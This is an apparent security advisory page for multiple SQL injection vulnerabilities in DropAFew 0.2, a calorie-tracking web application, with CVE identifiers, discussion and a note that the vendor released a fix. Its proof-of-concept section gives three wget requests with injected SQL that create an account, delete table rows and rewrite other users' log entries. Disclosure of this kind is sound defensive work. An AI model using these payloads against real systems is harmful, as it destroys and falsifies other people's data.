DropAFew Multiple SQL Injection Vulnerabilities

BID:23400

Info

DropAFew Multiple SQL Injection Vulnerabilities

Bugtraq ID: 23400
Class: Input Validation Error
CVE: CVE-2007-1364
CVE-2007-1363
Remote: Yes
Local: No
Published: Apr 10 2007 12:00AM
Updated: Jul 06 2016 02:39PM
Credit: Alexander Klink is credited with the discovery of these vulnerabilities.
Vulnerable: DropAFew DropAFew 0.2
Not Vulnerable: DropAFew DropAFew 0.2.1

Discussion

DropAFew Multiple SQL Injection Vulnerabilities

DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

These issues affect DropAFew 0.2; prior versions may also be affected.

Exploit / POC

DropAFew Multiple SQL Injection Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

# create new user
wget --save-cookies cookies --keep-session-cookies --post-data='username=exploit&password=1&password_confirm=1' http://[target]/calorie/newaccount2.php

# delete foodfacts table
wget --load-cookies cookies --post-data='id=1%20OR%20id%20>%200--&action=del' http://[target]/calorie/search.php

# make everyone have eaten 1000 strawberries, but hey, they were only 10

# calories ...
wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*'
http://[target]/calorie/editlogcal.php

Solution / Fix

DropAFew Multiple SQL Injection Vulnerabilities

Solution:
The vendor released updates to address these issues. Please see the references for more information.

References

DropAFew Multiple SQL Injection Vulnerabilities

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report